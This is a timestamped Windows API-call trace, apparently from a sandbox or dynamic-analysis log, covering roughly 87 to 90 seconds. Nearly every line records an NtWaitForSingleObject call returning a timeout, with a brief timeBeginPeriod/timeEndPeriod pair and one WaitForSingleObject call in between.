	[0087.233] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.244] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.258] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.268] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.281] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.292] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.301] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.311] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.322] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.334] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.345] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.355] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.364] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.375] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.387] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.397] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.407] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.420] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.431] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.443] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.461] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.472] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.483] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.497] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.507] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.517] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.534] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.545] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.555] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.564] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.575] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.585] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.596] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.606] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.616] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.626] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.635] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.648] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.658] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.668] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.681] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.694] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.705] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.717] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.727] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.739] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.749] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.760] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.771] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.792] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.857] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.867] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.877] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.893] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.909] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.921] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.931] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.943] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.953] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.963] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.974] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.987] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0087.997] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.009] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.019] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.031] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.043] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.055] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.068] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.080] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.096] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.109] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.121] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.132] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.144] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.155] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.164] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.175] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.185] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.197] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.208] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.217] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.230] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.241] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.253] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.266] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.277] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.303] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.315] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.327] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.347] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.361] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.371] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.381] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.394] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.405] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.479] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.491] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.507] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.526] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.564] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.580] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.597] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.607] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.639] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.696] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.727] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.784] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.795] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.807] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.818] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.828] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.841] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.859] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.870] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.880] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.892] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.904] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.916] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.926] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.936] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.946] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.955] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.966] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.978] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0088.988] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.037] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.050] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.060] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.071] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.081] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.098] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.110] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.119] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.130] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0089.130] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0089.132] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0089.132] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.147] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.165] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.166] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.167] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.169] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.173] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.174] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.175] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.176] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.178] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.179] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.180] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.181] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.182] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.183] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.184] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.185] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.186] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.187] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.188] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.189] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.190] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.191] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.192] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.193] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.194] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.195] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.196] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.197] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.199] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.200] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.201] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.203] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.204] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.205] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.206] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.207] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.208] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.209] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.210] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.211] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.212] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.213] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.214] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.215] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.216] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.217] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.218] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.219] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.220] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.221] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.222] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.223] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.224] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.225] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.227] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.230] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.238] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.248] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.261] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.274] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.285] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.311] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.321] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.367] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.379] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.390] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.400] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.411] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.421] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.431] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.443] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.460] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.470] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.480] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.490] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.502] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.512] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.522] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.532] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.543] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.554] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.567] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.577] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.587] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.597] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.607] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.617] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.627] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.639] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.649] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.659] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.669] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.679] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.690] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.703] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.713] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.724] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.734] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.745] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.755] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.767] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.778] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.788] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.798] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.808] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.818] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.831] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.842] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.856] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.866] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.876] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.886] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.898] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.908] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.918] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.928] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.939] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.949] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.961] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.971] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.981] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0089.991] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.002] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.012] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.025] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.035] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.045] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.056] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.066] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.076] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.090] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.100] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.110] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.121] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.132] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.142] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.154] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.164] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0090.175] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
